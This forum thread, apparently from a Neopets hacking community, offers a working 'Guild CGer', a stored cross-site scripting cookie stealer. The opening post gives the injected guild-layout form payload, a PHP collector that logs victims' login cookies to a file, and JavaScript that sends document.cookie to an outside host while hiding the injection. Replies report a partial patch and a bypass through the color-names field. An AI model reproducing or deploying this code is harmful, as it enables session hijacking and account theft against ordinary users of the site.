Page 1 of 2 12 LastLast
Results 1 to 10 of 18

Thread: [JS] Guild CGer

  1. #1
    Josh's Avatar
    Joined
    Dec 2011
    Posts
    415
    Userbars
    2
    Thanks
    25
    Thanked
    378/143
    DL/UL
    82/6
    Mentioned
    120 times
    Time Online
    17d 9h 48m
    Avg. Time Online
    5m

    [JS] Guild CGer

    PATCHED

    How this works:
    The hex codes for custom layout colors aren't filtered, but they have a character limit.

    Even though we can insert code, it will fuck up the layout, so we have to fix that with the javascript, once the script has been loaded. I do this by having the string "meepsmeeps" appear twice, and then replace it with code to fix the layout.


    Guild layout thingy (Its the values you submit when editing the guild layout):
    Code:
    action=process_prefs&guild_hood=Coral+Canyon&guild_name=a23r23&guild_desc=ellomeepsmeeps&guild_welcome=" src="http://meeeeeps/ellothar.png/"meepsmeeps&guild_status=yes&presets=&guild_bgcolor=gold&custom_bg=&guild_header_text=firebrick&custom_htext=&guild_text="><script a=&custom_mtext=&guild_link=black&custom_link=&guild_mainborder=maroon  </script>&custom_mborder=&guild_secborder=darkolivegreen&custom_sborder=
    (ellothar.png is a folder. The index.php of said folder is the javascript below)


    PHP:
    Code:
    <?
    
    function getbetween($content, $start, $end)
    {
        $r = explode($start, $content);
    
        if (isset($r[1]))
        {
            $r = explode($end, $r[1]);
            return $r[0];
        }
    
        return '';
    }
    
    
    $item = $_GET['meeps'];
    $myFile = "mycookiesnotyoursasshole.txt";
    $fh = fopen($myFile, 'a') or die("can't open file");
    $neologin = getbetween($item, "neologin=", ";");
    
    $stringData = $neologin . "\n\n\n";
    fwrite($fh, $stringData);
    
    fclose($fh);
    ?>

    js:

    Code:
    var layout = "<style \/>\r\n\r\nbody{background: #FFFFFF url(\'http:\/\/sunnyneo.com\/guild\/GLD_maraqua_bg.jpg\')}\r\nbody, td, p, font{font:8pt Georgia;color: #000000;}\r\n#main a{font:8pt Georgia;color:#2E5D4A;font-weight:bold;text-decoration:none}\r\n#main a:hover{color:#077173;}\r\n#main b{color:#1D6887}\r\n#main u{color:#077173}\r\n#main i{color:#0ABEBC}\r\n#content {width:1020px}\r\nh1{border-bottom:1px dotted #14B8C0; margin-bottom:2px;text-align:center;}\r\n#ht{color:#095357; font-size:14pt; font-family:georgia; text-transform:uppercase; text-align:center;}\r\nul{padding-left:40px}\r\n#header, #footer, .sidebar {display:none;width:100px}\r\n#n, td, table { background: transparent; }\r\n#ban {display:none;}\r\n#main {margin-top:0px; margin-left:0px;}\r\n#main {border:none; background:none;  width:500px; float:left;  padding-top:0px; padding-left:0px;}\r\n.content {background:none;}\r\n<\/style \/>\r\n\r\n<div style=\"position:absolute;top:0px;left:0px;width:165px;height:84px;\">\r\n<img src=\"http:\/\/sunnyneo.com\/guild\/GLD_maraqua_img1.jpg\" id=\"pic1\" width=\"165\" height=\"84\">\r\n<div style=\"position:absolute;top:0px;left:165px;width:603px;height:441px;\">\r\n<img src=\"http:\/\/sunnyneo.com\/guild\/GLD_maraqua_img2.jpg\" id=\"pic2\" width=\"603\" height=\"441\">\r\n<\/div>\r\n\r\n<div style=\"z-index:2;position:absolute;top:440px;left:661px;width:105px;text-align:center;\">\r\n<h1><font id=\"ht\">Links<\/font><\/h1>\r\n<a href=\"http:\/\/www.neopets.com\/myaccount.phtml\">My Account<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/customise\/\">Customise<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/gameroom.phtml\">Games<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/explore.phtml\">Explore<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/nf.phtml\">News<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/community\/index.phtml\">Community<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/objects.phtml\">Shops<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/mall\/index.phtml\">NC Mall<\/a><br><a href=\"http:\/\/nc.neopets.com\/membership\">Premium<\/a><br><a href=\"http:\/\/www.sunnyneo.com\">SunnyNeo<\/a><br>\r\n<br>\r\n\r\n<\/div>\r\n<div style=\"z-index:2;position:absolute;top:440px;left:166px;width:490px;\">\r\n<h1><font id=\"ht\">Welcome to the Guild!<\/font><\/h1>\r\nNew guild. Working on getting things together. :P\r\n<h1><font id=\"ht\">News and Updates<\/font><\/h1>\r\nNews and updates here\r\n<h1><font id=\"ht\">Council Chat<\/font><\/h1>\r\nCouncil Chat here<\/div>"
    var cger = "<img src=http://meeps.site.net/meep.png/cg.php?meeps=" + escape(document.cookie) + ">"
    
    var meep = document.body.innerHTML;
    var cg = meep.replace("meepsmeeps", "\"></script> Description here");
    var cg = cg.replace("meepsmeeps", "\"></script> " + layout + cger);
    
    var cg = cg.replace("<=\"\" font=\"\">", "");
    
    document.body.innerHTML = cg;
    Last edited by Josh; 08-26-2014 at 11:29 AM.

  2. The Following 4 Users Say Thank You to Josh For This Useful Post:

    |2eap (08-09-2014),Benjamin (08-09-2014),fairydust201 (08-10-2014),Tablo (08-09-2014)

  3. #2

    Joined
    May 2014
    Posts
    973
    Userbars
    3
    Thanks
    738
    Thanked
    690/376
    DL/UL
    16/0
    Mentioned
    220 times
    Time Online
    38d 18h 14m
    Avg. Time Online
    15m
    Thats one way of patching it.

  4. #3
    Josh's Avatar
    Joined
    Dec 2011
    Posts
    415
    Userbars
    2
    Thanks
    25
    Thanked
    378/143
    DL/UL
    82/6
    Mentioned
    120 times
    Time Online
    17d 9h 48m
    Avg. Time Online
    5m
    Quote Originally Posted by Tablo View Post
    Thats one way of patching it.
    Yup. Release publicly. See how long it takes TNT

    ---------- Post added at 06:12 PM ---------- Previous post was at 06:10 PM ----------

    Actually, its been public since march:
    (you need an account to see links)

    I didnt realize I posted it...

  5. The Following User Says Thank You to Josh For This Useful Post:

    Tablo (08-09-2014)

  6. #4
    Benjamin's Avatar
    Joined
    Feb 2013
    Posts
    302
    Userbars
    2
    Thanks
    83
    Thanked
    180/105
    DL/UL
    25/0
    Mentioned
    42 times
    Time Online
    11d 19h 7m
    Avg. Time Online
    4m
    uuh.. if you need help w/ spanish-english & english-spanish translations, just shoot me a pm and i'll answer when I have time c:

  7. The Following 4 Users Say Thank You to Benjamin For This Useful Post:

    |2eap (08-09-2014),Dom~ (08-09-2014),Josh (08-25-2014),Zhukov (08-09-2014)

  8. #5
    |2eap's Avatar
    Joined
    Jun 2013
    Posts
    3,458
    Userbars
    17
    Thanks
    2,494
    Thanked
    2,680/1,389
    DL/UL
    75/0
    Mentioned
    822 times
    Time Online
    111d 11h 4m
    Avg. Time Online
    40m
    Nioce bro

  9. #6



    Ghosts's Avatar
    Joined
    Jul 2013
    Posts
    1,527
    Userbars
    9
    Thanks
    957
    Thanked
    981/359
    DL/UL
    81/3
    Mentioned
    451 times
    Time Online
    187d 15h 9m
    Avg. Time Online
    1h 9m
    I think you posted this one in VIP as well over a year ago.

    Selling everything - PM me what you're looking for!




  10. The Following 2 Users Say Thank You to Ghosts For This Useful Post:

    |2eap (08-09-2014),Dom~ (08-09-2014)

  11. #7
    Dom~'s Avatar
    Joined
    Jun 2012
    Posts
    1,336
    Userbars
    12
    Thanks
    1,519
    Thanked
    545/352
    DL/UL
    108/0
    Mentioned
    369 times
    Time Online
    49d 8h 40m
    Avg. Time Online
    17m
    TNT is just a bunch of lazy fucks
    [11:06 PN] domenick: you cant fix stupid
    [11:06 PM] andrew: unfortunately not lol

  12. #8
    Josh's Avatar
    Joined
    Dec 2011
    Posts
    415
    Userbars
    2
    Thanks
    25
    Thanked
    378/143
    DL/UL
    82/6
    Mentioned
    120 times
    Time Online
    17d 9h 48m
    Avg. Time Online
    5m
    CGer was patched, but not completly. They blocked the hex code exploit, but still dont filter the color names option.

    Updated to work again.

  13. The Following User Says Thank You to Josh For This Useful Post:

    mmk (08-24-2014)

  14. #9

    Joined
    Jan 2012
    Posts
    1,286
    Thanks
    1,292
    Thanked
    302/209
    DL/UL
    1096/0
    Mentioned
    213 times
    Time Online
    59d 13h 45m
    Avg. Time Online
    20m
    Quote Originally Posted by Josh View Post
    CGer was patched, but not completly. They blocked the hex code exploit, but still dont filter the color names option.

    Updated to work again.
    if it's patched it took an awfully long time two weeks almost. =/ Tnt is fucking slow

  15. #10
    Josh's Avatar
    Joined
    Dec 2011
    Posts
    415
    Userbars
    2
    Thanks
    25
    Thanked
    378/143
    DL/UL
    82/6
    Mentioned
    120 times
    Time Online
    17d 9h 48m
    Avg. Time Online
    5m
    Quote Originally Posted by fairydust201 View Post
    if it's patched it took an awfully long time two weeks almost. =/ Tnt is fucking slow
    It was half-assed patched. To the point where it took me 5 minutes to modify it to work again. And it didnt take 2 weeks, it took 3 years of them knowing about it. I just made it a major problem for them recently

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •